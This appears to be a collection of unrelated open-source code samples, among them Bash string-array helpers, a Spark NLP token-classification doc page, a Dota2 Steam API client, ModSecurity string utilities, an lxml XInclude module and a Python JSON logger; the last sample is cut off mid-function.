text:
/* stringvec.c - functions for managing arrays of strings. */

/* Copyright (C) 2000-2002 Free Software Foundation, Inc.

   This file is part of GNU Bash, the Bourne Again SHell.

   Bash is free software: you can redistribute it and/or modify
   it under the terms of the GNU General Public License as published by
   the Free Software Foundation, either version 3 of the License, or
   (at your option) any later version.

   Bash is distributed in the hope that it will be useful,
   but WITHOUT ANY WARRANTY; without even the implied warranty of
   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
   GNU General Public License for more details.

   You should have received a copy of the GNU General Public License
   along with Bash.  If not, see <http://www.gnu.org/licenses/>.
*/

#include <config.h>

#include <bashtypes.h>

#if defined (HAVE_UNISTD_H)
#  include <unistd.h>
#endif

#include <bashansi.h>
#include <stdio.h>
#include <chartypes.h>

#include "shell.h"

/* Allocate an array of strings with room for N members. */
char **
strvec_create (n)
     int n;
{
  return ((char **)xmalloc ((n) * sizeof (char *)));
}

/* Allocate an array of strings with room for N members. */
char **
strvec_mcreate (n)
     int n;
{
  return ((char **)malloc ((n) * sizeof (char *)));
}

char **
strvec_resize (array, nsize)
     char **array;
     int nsize;
{
  return ((char **)xrealloc (array, nsize * sizeof (char *)));
}

char **
strvec_mresize (array, nsize)
     char **array;
     int nsize;
{
  return ((char **)realloc (array, nsize * sizeof (char *)));
}

/* Return the length of ARRAY, a NULL terminated array of char *. */
int
strvec_len (array)
     char **array;
{
  register int i;

  for (i = 0; array[i]; i++);
  return (i);
}

/* Free the contents of ARRAY, a NULL terminated array of char *. */
void
strvec_flush (array)
     char **array;
{
  register int i;

  if (array == 0)
    return;

  for (i = 0; array[i]; i++)
    free (array[i]);
}

void
strvec_dispose (array)
     char **array;
{
  if (array == 0)
    return;

  strvec_flush (array);
  free (array);
}

int
strvec_remove (array, name)
     char **array, *name;
{
  register int i, j;
  char *x;

  if (array == 0)
    return 0;

  for (i = 0; array[i]; i++)
    if (STREQ (name, array[i]))
      {
	x = array[i];
	for (j = i; array[j]; j++)
	  array[j] = array[j + 1];
	free (x);
	return 1;
      }
  return 0;
}

#ifdef INCLUDE_UNUSED
/* Find NAME in ARRAY.  Return the index of NAME, or -1 if not present.
   ARRAY should be NULL terminated. */
int
strvec_search (array, name)
     char **array, *name;
{
  int i;

  for (i = 0; array[i]; i++)
    if (STREQ (name, array[i]))
      return (i);

  return (-1);
}
#endif

/* Allocate and return a new copy of ARRAY and its contents. */
char **
strvec_copy (array)
     char **array;
{
  register int i;
  int len;
  char **ret;

  len = strvec_len (array);

  ret = (char **)xmalloc ((len + 1) * sizeof (char *));
  for (i = 0; array[i]; i++)
    ret[i] = savestring (array[i]);
  ret[i] = (char *)NULL;

  return (ret);
}

/* Comparison routine for use with qsort() on arrays of strings.  Uses
   strcoll(3) if available, otherwise it uses strcmp(3). */
int
strvec_strcmp (s1, s2)
     register char **s1, **s2;
{
#if defined (HAVE_STRCOLL)
   return (strcoll (*s1, *s2));
#else /* !HAVE_STRCOLL */
  int result;

  if ((result = **s1 - **s2) == 0)
    result = strcmp (*s1, *s2);

  return (result);
#endif /* !HAVE_STRCOLL */
}

/* Sort ARRAY, a null terminated array of pointers to strings. */
void
strvec_sort (array)
     char **array;
{
  qsort (array, strvec_len (array), sizeof (char *), (QSFUNC *)strvec_strcmp);
}

/* Cons up a new array of words.  The words are taken from LIST,
   which is a WORD_LIST *.  If ALLOC is true, everything is malloc'ed,
   so you should free everything in this array when you are done.
   The array is NULL terminated.  If IP is non-null, it gets the
   number of words in the returned array.  STARTING_INDEX says where
   to start filling in the returned array; it can be used to reserve
   space at the beginning of the array. */

char **
strvec_from_word_list (list, alloc, starting_index, ip)
     WORD_LIST *list;
     int alloc, starting_index, *ip;
{
  int count;
  char **array;

  count = list_length (list);
  array = (char **)xmalloc ((1 + count + starting_index) * sizeof (char *));

  for (count = 0; count < starting_index; count++)
    array[count] = (char *)NULL;
  for (count = starting_index; list; count++, list = list->next)
    array[count] = alloc ? savestring (list->word->word) : list->word->word;
  array[count] = (char *)NULL;

  if (ip)
    *ip = count;
  return (array);
}

/* Convert an array of strings into the form used internally by the shell.
   ALLOC means to allocate new storage for each WORD_DESC in the returned
   list rather than copy the values in ARRAY.  STARTING_INDEX says where
   in ARRAY to begin. */

WORD_LIST *
strvec_to_word_list (array, alloc, starting_index)
     char **array;
     int alloc, starting_index;
{
  WORD_LIST *list;
  WORD_DESC *w;
  int i, count;

  if (array == 0 || array[0] == 0)
    return (WORD_LIST *)NULL;

  for (count = 0; array[count]; count++)
    ;

  for (i = starting_index, list = (WORD_LIST *)NULL; i < count; i++)
    {
      w = make_bare_word (alloc ? array[i] : "");
      if (alloc == 0)
	{
	  free (w->word);
	  w->word = array[i];
	}
      list = make_word_list (w, list);
    }
  return (REVERSE_LIST (list, WORD_LIST *));
}


text:
using System.Reflection;

[assembly: AssemblyTitleAttribute("Prajna.BasicServiceData")]
[assembly: AssemblyProductAttribute("Prajna")]
[assembly: AssemblyDescriptionAttribute("Prajna: A Distributed Functional Programming Platform for Interactive Big Data Analytics and Cloud Service Building")]
[assembly: AssemblyVersionAttribute("0.0.1.6")]
[assembly: AssemblyFileVersionAttribute("0.0.1.6")]
namespace System {
    internal static class AssemblyVersionInformation {
        internal const string Version = "0.0.1.6";
    }
}

redpajama_set_name: RedPajamaGithub


text:
{%- capture title -%}
BertForTokenClassification
{%- endcapture -%}

{%- capture description -%}
BertForTokenClassification can load Bert Models with a token classification head
on top (a linear layer on top of the hidden-states output) e.g. for
Named-Entity-Recognition (NER) tasks.

Since Spark NLP 3.2.x, this annotator needs to be trained externally using the
transformers library. After the training process is done, the model checkpoint
can be loaded by this annotator. This is done with `loadSavedModel` (for loading
the transformers model) and `load` for the saved Spark NLP model.

For an extended example see the [Spark NLP Workshop](https://github.com/JohnSnowLabs/spark-nlp-workshop/blob/master/jupyter/transformers/HuggingFace%20in%20Spark%20NLP%20-%20BertForTokenClassification.ipynb).

Example for loading a saved transformers model:
```python
# Installing prerequisites
!pip install -q transformers==4.8.1 tensorflow==2.4.1 spark-nlp>=3.2.0

# Loading the external transformers model
from transformers import TFBertForTokenClassification, BertTokenizer

MODEL_NAME = 'dslim/bert-base-NER'

tokenizer = BertTokenizer.from_pretrained(MODEL_NAME)
tokenizer.save_pretrained('./{}_tokenizer/'.format(MODEL_NAME))

model = TFBertForTokenClassification.from_pretrained(MODEL_NAME)
model.save_pretrained("./{}".format(MODEL_NAME), saved_model=True)

# Extracting the tokenizer resources
asset_path = '{}/saved_model/1/assets'.format(MODEL_NAME)

!cp {MODEL_NAME}_tokenizer/vocab.txt {asset_path}

# Get label2id dictionary
labels = model.config.label2id
# Sort the dictionary based on the id
labels = sorted(labels, key=labels.get)

with open(asset_path+'/labels.txt', 'w') as f:
    f.write('\n'.join(labels))
```

Then the model can be loaded and used into Spark NLP in the following examples:
{%- endcapture -%}

{%- capture input_anno -%}
DOCUMENT, TOKEN
{%- endcapture -%}

{%- capture output_anno -%}
NAMED_ENTITY
{%- endcapture -%}

{%- capture python_example -%}
import sparknlp
from sparknlp.base import *
from sparknlp.annotator import *
from pyspark.ml import Pipeline

documentAssembler = DocumentAssembler() \
    .setInputCol("text") \
    .setOutputCol("document")

tokenizer = Tokenizer() \
    .setInputCols(["document"]) \
    .setOutputCol("token")

MODEL_NAME = 'dslim/bert-base-NER'
tokenClassifier = BertForTokenClassification.loadSavedModel(
    '{}/saved_model/1'.format(MODEL_NAME),
    spark) \
    .setInputCols(["document",'token']) \
    .setOutputCol("ner") \
    .setCaseSensitive(True) \
    .setMaxSentenceLength(128)

# Optionally the classifier can be saved to load it more conveniently into Spark NLP
tokenClassifier.write().overwrite().save("./{}_spark_nlp".format(MODEL_NAME))

tokenClassifier = BertForTokenClassification.load("./{}_spark_nlp".format(MODEL_NAME))\
  .setInputCols(["document",'token'])\
  .setOutputCol("label")

pipeline = Pipeline().setStages([
    documentAssembler,
    tokenizer,
    tokenClassifier
])

data = spark.createDataFrame([["John Lenon was born in London and lived in Paris. My name is Sarah and I live in London"]]).toDF("text")
result = pipeline.fit(data).transform(data)

result.select("label.result").show(truncate=False)
+------------------------------------------------------------------------------------+
|result                                                                              |
+------------------------------------------------------------------------------------+
|[B-PER, I-PER, O, O, O, B-LOC, O, O, O, B-LOC, O, O, O, O, B-PER, O, O, O, O, B-LOC]|
+------------------------------------------------------------------------------------+
{%- endcapture -%}

{%- capture scala_example -%}
// The model needs to be trained with the transformers library.
// Afterwards it can be loaded into the scala version of Spark NLP.

import spark.implicits._
import com.johnsnowlabs.nlp.base._
import com.johnsnowlabs.nlp.annotator._
import org.apache.spark.ml.Pipeline

val documentAssembler = new DocumentAssembler()
  .setInputCol("text")
  .setOutputCol("document")

val tokenizer = new Tokenizer()
  .setInputCols("document")
  .setOutputCol("token")

val modelName = "dslim/bert-base-NER"
var tokenClassifier = BertForTokenClassification.loadSavedModel(s"$modelName/saved_model/1", spark)
  .setInputCols("token", "document")
  .setOutputCol("label")
  .setCaseSensitive(true)
  .setMaxSentenceLength(128)

// Optionally the classifier can be saved to load it more conveniently into Spark NLP
tokenClassifier.write.overwrite.save(s"${modelName}_spark_nlp")

tokenClassifier = BertForTokenClassification.load(s"${modelName}_spark_nlp")
  .setInputCols("token", "document")
  .setOutputCol("label")
  .setCaseSensitive(true)

val pipeline = new Pipeline().setStages(Array(
  documentAssembler,
  tokenizer,
  tokenClassifier
))

val data = Seq("John Lenon was born in London and lived in Paris. My name is Sarah and I live in London").toDF("text")
val result = pipeline.fit(data).transform(data)

result.select("label.result").show(false)
+------------------------------------------------------------------------------------+
|result                                                                              |
+------------------------------------------------------------------------------------+
|[B-PER, I-PER, O, O, O, B-LOC, O, O, O, B-LOC, O, O, O, O, B-PER, O, O, O, O, B-LOC]|
+------------------------------------------------------------------------------------+

{%- endcapture -%}

{%- capture api_link -%}
[BertForTokenClassification](https://nlp.johnsnowlabs.com/api/com/johnsnowlabs/nlp/annotators/classifier/dl/BertForTokenClassification)
{%- endcapture -%}

{%- capture python_api_link -%}
[BertForTokenClassification](/api/python/reference/autosummary/python/sparknlp/annotator/classifier_dl/bert_for_token_classification/index.html#sparknlp.annotator.classifier_dl.bert_for_token_classification.BertForTokenClassification)
{%- endcapture -%}

{%- capture source_link -%}
[BertForTokenClassification](https://github.com/JohnSnowLabs/spark-nlp/tree/master/src/main/scala/com/johnsnowlabs/nlp/annotators/classifier/dl/BertForTokenClassification.scala)
{%- endcapture -%}

{% include templates/training_anno_template.md
title=title
description=description
input_anno=input_anno
output_anno=output_anno
python_example=python_example
scala_example=scala_example
python_api_link=python_api_link
api_link=api_link
source_link=source_link
%}


text:
var urllib = require('urllib');

var Dota2Api = function(key, lan, format) {
  this.key = key;
  this.language = lan;
  this.format = format;
};

Dota2Api.prototype.getMatchHistory = function(config, callback) {
  var base_url = 'https://api.steampowered.com/IDOTA2Match_570/GetMatchHistory/v001/';
  this.req(base_url, config, callback);
};
Dota2Api.prototype.getMatchDetails = function(config, callback) {
  var base_url = 'https://api.steampowered.com/IDOTA2Match_570/GetMatchDetails/v001/';
  this.req(base_url, config, callback);
};
Dota2Api.prototype.getHeroes = function(config, callback) {
  var base_url = 'https://api.steampowered.com/IEconDOTA2_570/GetHeroes/v0001/';
  this.req(base_url, config, callback);
};
Dota2Api.prototype.getLeagueListing = function(config, callback) {
  var base_url = 'https://api.steampowered.com/IDOTA2Match_570/GetLeagueListing/v0001/';
  this.req(base_url, config, callback);
};
Dota2Api.prototype.getLiveLeagueGames = function(config, callback) {
  var base_url = 'https://api.steampowered.com/IDOTA2Match_570/GetLiveLeagueGames/v0001/';
  this.req(base_url, config, callback);
};
Dota2Api.prototype.getMatchHistoryBySequenceNum = function(config, callback) {
  var base_url = 'https://api.steampowered.com/IDOTA2Match_570/GetMatchHistoryBySequenceNum/v0001/';
  this.req(base_url, config, callback);
};

Dota2Api.prototype.req = function(base_url, config, callback) {
  var paramArr = [];

  for (var p in config) {
    paramArr.push(p + '=' + config[p]);
  }
  paramArr.push('key=' + this.key);
  paramArr.push('language=' + this.language);
  paramArr.push('format=' + this.format);

  var url = base_url + '?' + paramArr.join('&');
  urllib.request(url, function(err, data, res) {

    if (!err && res.statusCode === 200) {
      callback(err, data.toString());
    } else if (res.statusCode === -1) {
      console.log(res.statusCode);
      callback(err);
    } else if (res.statusCode === 403) {
      err = '403 Please verify your params';
      callback(err);
    }
  });
};

module.exports = Dota2Api;


text:
#include <stdio.h>
#include <stdlib.h>
#include <stddef.h>
#include <string.h>
#include <wordexp.h>
#include <stdint.h>
#include <inttypes.h>

#include <algorithm>
#include <random>
#include <memory>
#include <functional>
#include <string>
#include <iostream>
#include <sstream>
#include <cstring>

#if defined _MSC_VER
#include <direct.h>
#elif defined __GNUC__
#include <sys/types.h>
#include <sys/stat.h>
#endif

#include "modsecurity/modsecurity.h"

#include "src/utils/string.h"

namespace modsecurity {
namespace utils {
namespace string {

std::string ascTime(time_t *t) {
    std::string ts = std::ctime(t);
    ts.pop_back();
    return ts;
}

std::string dash_if_empty(const std::string *str) {
    if (str == NULL || str->empty()) {
        return "-";
    }

    return *str;
}

std::string dash_if_empty(const char *str) {
    if (str == NULL || strlen(str) == 0) {
        return "-";
    }

    return std::string(str);
}

std::string limitTo(int amount, const std::string &str) {
    std::string ret;

    if (str.length() > amount) {
        ret.assign(str, 0, amount);
        ret = ret + " (" + std::to_string(str.length() - amount) + " " \
            "characters omitted)";
        return ret;
    }

    return str;
}

std::string removeBracketsIfNeeded(std::string a) {
    if ((a.at(0) == '"') && (a.at(a.length()-1) == '"')) {
        a.pop_back();
        a.erase(0, 1);
    }
    return a;
}

std::string string_to_hex(const std::string& input) {
    static const char* const lut = "0123456789ABCDEF";
    size_t len = input.length();

    std::string output;
    output.reserve(2 * len);
    for (size_t i = 0; i < len; ++i) {
        const unsigned char c = input[i];
        output.push_back(lut[c >> 4]);
        output.push_back(lut[c & 15]);
    }
    return output;
}

std::string toHexIfNeeded(const std::string &str) {
    std::stringstream res;

    for (int i = 0; i < str.size(); i++) {
        int c = str.at(i);
        if (c < 32 || c > 126) {
            res << "\\x" << std::setw(2) << std::setfill('0') << std::hex << c;
        } else {
            res << str.at(i);
        }
    }

    return res.str();
}

std::string tolower(std::string str) {
    std::string value;
    value.resize(str.length());

    std::transform(str.begin(),
            str.end(),
            value.begin(),
            ::tolower);

    return value;
}

std::string toupper(std::string str) {
    std::string value;
    value.resize(str.length());

    std::transform(str.begin(),
            str.end(),
            value.begin(),
            ::toupper);

    return value;
}

std::vector<std::string> split(std::string str, char delimiter) {
    std::vector<std::string> internal;
    std::stringstream ss(str);  // Turn the string into a stream.
    std::string tok;

    while (getline(ss, tok, delimiter)) {
        internal.push_back(tok);
    }

    return internal;
}

void chomp(std::string *str) {
    std::string::size_type pos = str->find_last_not_of("\n\r");
    if (pos != std::string::npos) {
        str->erase(pos+1, str->length()-pos-1);
    }
}

unsigned char x2c(unsigned char *what) {
    unsigned char digit;

    digit = (what[0] >= 'A' ? ((what[0] & 0xdf) - 'A') + 10 : (what[0] - '0'));
    digit *= 16;
    digit += (what[1] >= 'A' ? ((what[1] & 0xdf) - 'A') + 10 : (what[1] - '0'));

    return digit;
}

/**
 * Converts a single hexadecimal digit into a decimal value.
 */
unsigned char xsingle2c(unsigned char *what) {
    unsigned char digit;

    digit = (what[0] >= 'A' ? ((what[0] & 0xdf) - 'A') + 10 : (what[0] - '0'));

    return digit;
}

unsigned char *c2x(unsigned what, unsigned char *where) {
    static const char c2x_table[] = "0123456789abcdef";

    what = what & 0xff;
    *where++ = c2x_table[what >> 4];
    *where++ = c2x_table[what & 0x0f];

    return where;
}

void replaceAll(std::string *str, const std::string& from,
    const std::string& to) {
    size_t start_pos = 0;
    while ((start_pos = str->find(from, start_pos)) != std::string::npos) {
        str->replace(start_pos, from.length(), to);
        start_pos += to.length();
    }
}

}  // namespace string
}  // namespace utils
}  // namespace modsecurity


text:
package com.baidu.unbiz.olap.demo.testcase.client;

import java.math.BigInteger;
import java.util.Date;
import java.util.List;
import java.util.Map;

import javax.annotation.PostConstruct;
import javax.annotation.Resource;

import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
import org.springframework.test.context.ContextConfiguration;
import org.springframework.test.context.junit4.SpringJUnit4ClassRunner;

import com.baidu.unbiz.olap.config.OlapInstanceConfig;
import com.baidu.unbiz.olap.constant.OlapConstants;
import com.baidu.unbiz.olap.demo.yyy.constant.YYY;
import com.baidu.unbiz.olap.driver.OlapEngineDriver;
import com.baidu.unbiz.olap.driver.bo.OlapRequest;
import com.baidu.unbiz.olap.factory.OlapDriverFactory;

/**
 * OlapDriver测试类
 *
 * @author wangchongjie
 * @fileName OlapDriverTest.java
 * @dateTime 2014-7-9 下午7:27:58
 */
@RunWith(SpringJUnit4ClassRunner.class)
@ContextConfiguration(locations = "classpath:applicationContext-test.xml")
public class OlapDriverTest {

    @Resource(name = "olapDriverFactoryImpl")
    private OlapDriverFactory driverFactory;

    @Resource(name = "xxxOlapInstanceConfig")
    private OlapInstanceConfig olapConfig;

	private OlapEngineDriver olapDriver;

    @Resource(name = "yyyOlapInstanceConfig")
    protected OlapInstanceConfig olapYYYConfig;

	@Before
	@PostConstruct
	public void initOlapDriver() {
	    olapDriver = driverFactory.newOlapEngineDriver(olapConfig);
	}

	@Test
	//不推荐使用:应用方直接拼sql查询
	public void testQueryBySQL(){

//		String csql = "select * from INFORMATION_SCHEMA.tables;";
//		System.out.println("******" + olapDriver.executeSQLonOneRandomShard(csql));

		String sql = "SELECT UserId,SUM(Search) AS Search,SUM(Click) AS Click,SUM(Cost) AS Cost," +
				"SUM(Cost)/SUM(Search)/100 AS cpm,SUM(Click)/SUM(Search) AS ctr,SUM(Cost)/SUM(Click)/100000 AS acp " +
				"FROM olap.DailyGroupStats WHERE UserId = 8 AND date >= '2014-06-10' AND date < '2014-06-23' GROUP BY"
				+ " UserId ";

		int userId = 8;
		List<Map<String, BigInteger>> result = olapDriver.getStorageDataBySQL(sql, userId);
		System.out.println(result.toString());
	}

	@Test
	//不推荐使用:应用方直接查询
	public void testQueryByRequest(){

		@SuppressWarnings("rawtypes")
		OlapRequest request = new OlapRequest();

		request.setTable(YYY.TABLE.ADSIZE);
		request.setGroupByCols(new String[] {YYY.COLUMN.ADSIZEID});
		request.setBasicValueCols(new String[] {YYY.COLUMN.SRCHS, YYY.COLUMN.CLKS});
		request.setUserIds(new Integer[] {63});     			//userid
		request.setFrom(new Date(1402333200000L)); 			//查询起始时间
		request.setTo(new Date(1403370000000L));			//查询终止时间
		request.setTimeUnit(OlapConstants.TU_DAY);				//时间粒度

        olapDriver.setOlapConfig(olapYYYConfig);
		List<Map<String, BigInteger>> result = olapDriver.getStorageDataByRequest(request);
		System.out.println(result.toString());
	}
}


text:
<!doctype html>

    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="description" content="">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <title></title>

    <meta name="msapplication-tap-highlight" content="no">

    <link rel="manifest" href="manifest.json">

    <meta name="mobile-web-app-capable" content="yes">
    <meta name="application-name" content="STL.COOL">
    <link rel="icon" sizes="192x192" href="images/touch/chrome-touch-icon-192x192.png">

    <meta name="apple-mobile-web-app-capable" content="yes">
    <meta name="apple-mobile-web-app-status-bar-style" content="black">
    <meta name="apple-mobile-web-app-title" content="Web Starter Kit">
    <link rel="apple-touch-icon" href="images/touch/apple-touch-icon.png">

    <meta name="msapplication-TileImage" content="images/touch/ms-touch-icon-144x144-precomposed.png">
    <meta name="msapplication-TileColor" content="#1B1B1B">

    <meta name="theme-color" content="#1B1B1B">

    <link rel="stylesheet" href="https://fonts.googleapis.com/css?family=RobotoDraft:300,400,500,700,400italic">
    <link rel="stylesheet" href="styles/angular-material.css"/>
    <link rel="stylesheet" href="styles/main.css"/>

    <md-toolbar layout="row">
      <md-button class="menu" hide-gt-sm ng-click="ul.toggleList()" >
        <md-icon md-svg-icon="menu" ></md-icon>
      </md-button>

Angular Material - Starter App

    </md-toolbar>

        <md-sidenav md-component-id="left" md-is-locked-open="$mdMedia('gt-sm')" ng-click="ul.toggleList()" class="md-whiteframe-4dp" >
          <md-list>
            <md-list-item ng-repeat="u in ul.users">
                <md-button ng-click="ul.selectUser(u)" ng-class="{'selected' : u === ul.selected }">
                  <md-icon md-svg-icon="{{u.avatar}}" class="avatar"></md-icon>
                  {{u.name}}
                </md-button>
            </md-list-item>
          </md-list>
        </md-sidenav>

        <md-content flex id="content">
          <md-icon md-svg-icon="{{ul.selected.avatar}}" class="avatar"></md-icon>

{{ul.selected.name}}

{{ul.selected.content}}

          <md-button class="share" md-no-ink ng-click="ul.makeContact(ul.selected)" >
            <md-icon md-svg-icon="share"></md-icon>
          </md-button>
        </md-content>


text:
using System;
using System.Collections.Generic;
using System.Web.Security;

using Composite.C1Console.Actions;
using Composite.C1Console.Security;

namespace CompositeC1Contrib.Security.C1Console.ElementProviders.Actions
{
    [ActionExecutor(typeof(UnlockUserActionExecutor))]
    public class UnlockUserActionToken : ActionToken
    {
        private static readonly IEnumerable<PermissionType> _permissionTypes = new[] { PermissionType.Edit, PermissionType.Administrate };

        public override IEnumerable<PermissionType> PermissionTypes => _permissionTypes;

        public override string Serialize()
        {
            return String.Empty;
        }

        public static ActionToken Deserialize(string serializedData)
        {
            return new UnlockUserActionToken();
        }
    }

    public class UnlockUserActionExecutor : IActionExecutor
    {
        public FlowToken Execute(EntityToken entityToken, ActionToken actionToken, FlowControllerServicesContainer flowControllerServicesContainer)
        {
            var user = Membership.GetUser(entityToken.Id);

            user.UnlockUser();

            new ParentTreeRefresher(flowControllerServicesContainer).PostRefreshMesseges(entityToken);

            return null;
        }
    }
}


text:
"""
Limited XInclude support for the ElementTree package.

While lxml.etree has full support for XInclude (see
`etree.ElementTree.xinclude()`), this module provides a simpler, pure
Python, ElementTree compatible implementation that supports a simple
form of custom URL resolvers.
"""

from lxml import etree
import copy
try:
    from urlparse import urljoin
    from urllib2 import urlopen
except ImportError:
    # Python 3
    from urllib.parse import urljoin
    from urllib.request import urlopen

try:
    set
except NameError:
    # Python 2.3
    from sets import Set as set

XINCLUDE = "{http://www.w3.org/2001/XInclude}"

XINCLUDE_INCLUDE = XINCLUDE + "include"
XINCLUDE_FALLBACK = XINCLUDE + "fallback"

##
# Fatal include error.

class FatalIncludeError(etree.LxmlSyntaxError):
    pass

##
# ET compatible default loader.
# This loader reads an included resource from disk.
#
# @param href Resource reference.
# @param parse Parse mode.  Either "xml" or "text".
# @param encoding Optional text encoding.
# @return The expanded resource.  If the parse mode is "xml", this
#    is an ElementTree instance.  If the parse mode is "text", this
#    is a Unicode string.  If the loader fails, it can return None
#    or raise an IOError exception.
# @throws IOError If the loader fails to load the resource.

def default_loader(href, parse, encoding=None):
    file = open(href, 'rb')
    if parse == "xml":
        data = etree.parse(file).getroot()
    else:
        data = file.read()
        if not encoding:
            encoding = 'utf-8'
        data = data.decode(encoding)
    file.close()
    return data

##
# Default loader used by lxml.etree - handles custom resolvers properly
#

def _lxml_default_loader(href, parse, encoding=None, parser=None):
    if parse == "xml":
        data = etree.parse(href, parser).getroot()
    else:
        if "://" in href:
            f = urlopen(href)
        else:
            f = open(href, 'rb')
        data = f.read()
        f.close()
        if not encoding:
            encoding = 'utf-8'
        data = data.decode(encoding)
    return data

##
# Wrapper for ET compatibility - drops the parser

def _wrap_et_loader(loader):
    def load(href, parse, encoding=None, parser=None):
        return loader(href, parse, encoding)
    return load

##
# Expand XInclude directives.
#
# @param elem Root element.
# @param loader Optional resource loader.  If omitted, it defaults
#     to {@link default_loader}.  If given, it should be a callable
#     that implements the same interface as <b>default_loader</b>.
# @throws FatalIncludeError If the function fails to include a given
#     resource, or if the tree contains malformed XInclude elements.
# @throws IOError If the function fails to load a given resource.
# @returns the node or its replacement if it was an XInclude node

def include(elem, loader=None, base_url=None):
    if base_url is None:
        if hasattr(elem, 'getroot'):
            tree = elem
            elem = elem.getroot()
        else:
            tree = elem.getroottree()
        if hasattr(tree, 'docinfo'):
            base_url = tree.docinfo.URL
    elif hasattr(elem, 'getroot'):
        elem = elem.getroot()
    _include(elem, loader, base_url=base_url)

def _include(elem, loader=None, _parent_hrefs=None, base_url=None):
    if loader is not None:
        load_include = _wrap_et_loader(loader)
    else:
        load_include = _lxml_default_loader

    if _parent_hrefs is None:
        _parent_hrefs = set()

    parser = elem.getroottree().parser

    include_elements = list(
        elem.iter('{http://www.w3.org/2001/XInclude}*'))

    for e in include_elements:
        if e.tag == XINCLUDE_INCLUDE:
            # process xinclude directive
            href = urljoin(base_url, e.get("href"))
            parse = e.get("parse", "xml")
            parent = e.getparent()
            if parse == "xml":
                if href in _parent_hrefs:
                    raise FatalIncludeError(
                        "recursive include of %r detected" % href
                        )
                _parent_hrefs.add(href)
                node = load_include(href, parse, parser=parser)
                if node is None:
                    raise FatalIncludeError(
                        "cannot load %r as %r" % (href, parse)
                        )
                node = _include(node, loader, _parent_hrefs)
                if e.tail:
                    node.tail = (node.tail or "") + e.tail
                if parent is None:
                    return node # replaced the root node!
                parent.replace(e, node)
            elif parse == "text":
                text = load_include(href, parse, encoding=e.get("encoding"))
                if text is None:
                    raise FatalIncludeError(
                        "cannot load %r as %r" % (href, parse)
                        )
                predecessor = e.getprevious()
                if predecessor is not None:
                    predecessor.tail = (predecessor.tail or "") + text
                elif parent is None:
                    return text # replaced the root node!
                else:
                    parent.text = (parent.text or "") + text + (e.tail or "")
                parent.remove(e)
            else:
                raise FatalIncludeError(
                    "unknown parse type in xi:include tag (%r)" % parse
                )
        elif e.tag == XINCLUDE_FALLBACK:
            parent = e.getparent()
            if parent is not None and parent.tag != XINCLUDE_INCLUDE:
                raise FatalIncludeError(
                    "xi:fallback tag must be child of xi:include (%r)" % e.tag
                    )
        else:
            raise FatalIncludeError(
                "Invalid element found in XInclude namespace (%r)" % e.tag
                )
    return elem


text:
import io
import os
import sys
import copy
import json
import socket
import logging
import traceback
from threading import local
from collections import OrderedDict
from contextlib import contextmanager

def json_handler(obj):
  # if isinstance(obj, (datetime.date, datetime.time)):
  #   return obj.isoformat()
  return repr(obj)

def json_robust_dumps(obj):
  return json.dumps(obj, default=json_handler)

class NiceOrderedDict(OrderedDict):
  def __str__(self):
    return json_robust_dumps(self)

class SwagFormatter(logging.Formatter):
  def __init__(self, swaglogger):
    logging.Formatter.__init__(self, None, '%a %b %d %H:%M:%S %Z %Y')

    self.swaglogger = swaglogger
    self.host = socket.gethostname()

  def format_dict(self, record):
    record_dict = NiceOrderedDict()

    if isinstance(record.msg, dict):
      record_dict['msg'] = record.msg
    else:
      try:
        record_dict['msg'] = record.getMessage()
      except (ValueError, TypeError):
        record_dict['msg'] = [record.msg]+record.args

    record_dict['ctx'] = self.swaglogger.get_ctx()

    if record.exc_info:
      record_dict['exc_info'] = self.formatException(record.exc_info)

    record_dict['level'] = record.levelname
    record_dict['levelnum'] = record.levelno
    record_dict['name'] = record.name
    record_dict['filename'] = record.filename
    record_dict['lineno'] = record.lineno
    record_dict['pathname'] = record.pathname
    record_dict['module'] = record.module
    record_dict['funcName'] = record.funcName
    record_dict['host'] = self.host
    record_dict['process'] = record.process
    record_dict['thread'] = record.thread
    record_dict['threadName'] = record.threadName
    record_dict['created'] = record.created

    return record_dict

  def format(self, record):
    return json_robust_dumps(self.format_dict(record))

class SwagErrorFilter(logging.Filter):
  def filter(self, record):
    return record.levelno < logging.ERROR

def _tmpfunc():
  return 0

def _srcfile():
  return os.path.normcase(_tmpfunc.__code__.co_filename)

class SwagLogger(logging.Logger):
  def __init__(self):
    logging.Logger.__init__(self, "swaglog")

    self.global_ctx = {}

    self.log_local = local()
    self.log_local.ctx = {}

  def local_ctx(self):
    try:
      return self.log_local.ctx
    except AttributeError:
      self.log_local.ctx = {}
      return self.log_local.ctx

  def get_ctx(self):
    return dict(self.local_ctx(), **self.global_ctx)

  @contextmanager
  def ctx(self, **kwargs):
    old_ctx = self.local_ctx()
    self.log_local.ctx = copy.copy(old_ctx) or {}
    self.log_local.ctx.update(kwargs)
    try:
      yield
    finally:
      self.log_local.ctx = old_ctx

  def bind(self, **kwargs):
    self.local_ctx().update(kwargs)

  def bind_global(self, **kwargs):
    self.global_ctx.update(kwargs)

  def event(self, event_name, *args, **kwargs):
    evt = NiceOrderedDict()
    evt['event'] = event_name
    if args:
      evt['args'] = args
    evt.update(kwargs)
    if 'error' in kwargs:
      self.error(evt)
    else:
      self.info(evt)

  def findCaller(self, stack_info=False, stacklevel=1):
    """
    Find the stack frame of the caller so that we can note the source
    file name, line number and function name.
    """
    f = sys._getframe(3)
    #On some versions of IronPython, currentframe() returns None if
    #IronPython isn't run with -X:Frames.
    if f is not None:
        f = f.f_back
    orig_f = f
    while f and stacklevel > 1:
        f = f.f_back
        stacklevel -= 1
    if not f:
        f = orig_f
    rv = "(unknown file)", 0, "(unknown function)", None
    while hasattr(f, "f_code"):
        co = f.f_code
        filename = os.path.normcase(co.co_filename)

        # TODO: is this pylint exception correct?
        if filename == _srcfile:  # pylint: disable=comparison-with-callable
            f = f.f_back
            continue
        sinfo = None
        if stack_info:
            sio = io.StringIO()
            sio.write('Stack (most recent call last):\n')
            traceback.print_stack(f, file=sio)
            sinfo = sio.getvalue()
            if sinfo[-1] == '\n':
                sinfo = sinfo[:-1]
            sio.close()
        rv = (co.co_filename, f.f_lineno, co.co_name, sinfo)
        break
    return rv

if __name__ == "__main__":
  log = SwagLogger()

  stdout_handler = logging.StreamHandler(sys.stdout)
  stdout_handler.setLevel(logging.INFO)
  stdout_handler.addFilter(SwagErrorFilter())
  log.addHandler(stdout_handler)

  stderr_handler = logging.StreamHandler(sys.stderr)
